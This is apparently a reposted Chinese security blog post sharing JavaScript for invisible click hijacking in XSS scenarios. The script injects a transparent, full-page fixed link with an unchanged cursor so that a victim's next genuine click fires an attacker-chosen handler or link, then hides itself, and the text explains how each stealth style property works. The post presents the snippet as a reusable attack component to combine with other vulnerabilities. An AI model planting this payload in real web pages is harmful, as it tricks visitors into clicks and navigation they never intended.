0x00 前言
今天给大家分享一下a标签点击劫持的源码,适用于xss场景让目标无感知的主动点击某个链接或通过真实的点击触发点击事件。(浏览器会区分对待js调用和真实点击两种形式触发的点击事件)
0x01 源码和思路
var atest = document.createElement("a");
atest.href="#";
atest.id="atest";
atest.style="position:fixed;top:0;left:0;width:100%;height:100%;opacity:0.0;cursor:default;";
atest.onclick=function(){
console.log("success!");
atest.setAttribute('style', 'display:none');
};
document.body.appendChild(atest);
首先创建一个a标签,设置href为空(或你想让目标跳转的链接)。添加点击事件onclick,事件函数中编写想要执行的功能。最后将a标签加入到body元素中,点击劫持完成。
无感知点击劫持的重点在于style的设置:
(1)通过设置css的position,将元素定位于页面左上角,同时定位方式设置为fixed可以避免页面中其他元素的影响。
(2)将长度和宽度都设为100%,这样a标签就会覆盖满整个页面。
(3)设置opacity属性,将a标签变为完全透明,达到视觉上的隐蔽效果。
(4)最后设置cursor属性,避免鼠标指针产生变化。
如果只想让目标触发一次的话,别忘了在点击事件中将a标签的style重新设置为display:none,目标点击一次后a标签就会消失掉。
0x02 后记
算是一个小轮子吧,直接拿出来是没什么用的,需要搭配在其他漏洞或方案之中才能发挥关键的作用,具体场景看各位师傅发掘了。
喵,点个赞再走吧~
原文始发于微信公众号(小黑的安全笔记):a标签点击劫持
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论